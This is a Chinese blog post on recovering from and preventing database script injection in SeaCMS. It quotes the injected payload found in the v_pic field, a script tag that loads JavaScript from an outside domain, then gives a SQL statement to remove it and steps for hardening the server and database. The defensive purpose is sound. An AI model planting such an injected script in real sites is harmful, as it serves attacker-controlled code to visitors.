海洋CMS★〓★ 数据库挂马恢复及防范方法

 2019-08-02 19:56   386 人阅读  0 条评论

更新记录

   2019.8.2 更新读写分离

   2019.8.1 添加显示函数过滤

正文

   前言

         这些日子,不清楚什么状况,海洋CMS貌似被黑客盯上了,针对它的攻击非常频繁,作者也是频繁更新,在找不出漏洞的情况下,很多站点中枪,包括本文作者本人的网站,针对这一情况,作者作了大量的研究结合网友的经验,写出了这篇文章,希望能帮到大家!

<一 >  恢复方法

首先了解一下SQL的搜索替换命令,

update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:

"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a="

可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码。

恢复数据方法,执行以下SQL语句:

update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')

<一 >  防范措施

为了防止再次被入侵,我们必须做好下面措施:

1. 升级到最新版本

2. 修改数据库密码

     修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。

3.  如果有删除安装目录install

4.   限制文件权限

     缓存使用redis ,并设置网站根目录权限为555(如果采集图片到本地需设置uploads为755权限)

     备注:这样设置后,后台是无法保存系统设置的,因为没有读写权限,可以用宝塔直接修改data目录下的配置文件,或者设置data目录为755权限后在后台修改,完毕后再改为555权限。

5. 数据库sea_data的v_pic结构改为char 80-110长度

6. 限制数据库权限(数据库读写分离)

      6.1. 创建数据库只读账户
         宝塔-数据库-管理 -用root账户登陆-账户- 新增用户账户
 登陆信息:
      user name :  使用文本域 ,新用户名,例如: seacms_xxx_com
       Host name:      本地    localhost
      密码使用生成密码 记住密码
 全局权限:
     只打钩  
    其它默认,点执行,然后切换到'数据库'选项卡,选择海洋cms数据表,执行
   然后会再跳到指定数据库权限,也只打钩 SELECT 执行
这样就创建OK了

  6.2 .创建只读配置
    <1> 复制"/data/common.inc.php"并重命名为'data.inc.php'(可修改为其它名称,但后面需对应修改)。
    <2> 修改"/data/common.inc.php",将其中 "cfg_dbhost"的后面引号内的主机地址改为'' localhost", "cfg_dbuser"后面引号内的账号修改为我们创建的只读账号,同样将"$cfg_dbpwd"后面引号内的密码修改为刚创建的密码,保存。
 6.3.修改数据库调用代码
         打开 "include/common.php",找到代码:

//数据库配置文件

require_once(sea_DATA.'/common.inc.php');
修改为:
$filekey=array('config.php','login.php','exit.php','ajax.php','gbook.php','admin_reslib.php','admin_reslib2.php','');
require_once sea_DATA.(preg_match('#.*/(.*?\.php)#i',htmlentities($_SERVER['PHP_SELF']),$ref) && in_array($ref[1],$filekey) ? '/data.inc.php':'/common.inc.php') ;
这样修改后,只有后台,统计,留言, 采集可以更新数据库。

如果你嫌弃上面的篇幅太长,可以参考下面的简化步骤:

1.缓存用redis

2.网站根目录设置为555权限(如果采集图片到本地需设置uploads为755权限)

3.数据库sea_data的v_pic结构改为char 80-110长度

4.升级最新版本

备注:这样设置后,后台是无法保存系统设置的,因为没有读写权限,可以用宝塔直接修改data目录下的配置文件,或者设置data目录为755权限后在后台修改,完毕后再改为555权限。


 发表评论


表情

还没有留言,还不快点抢沙发?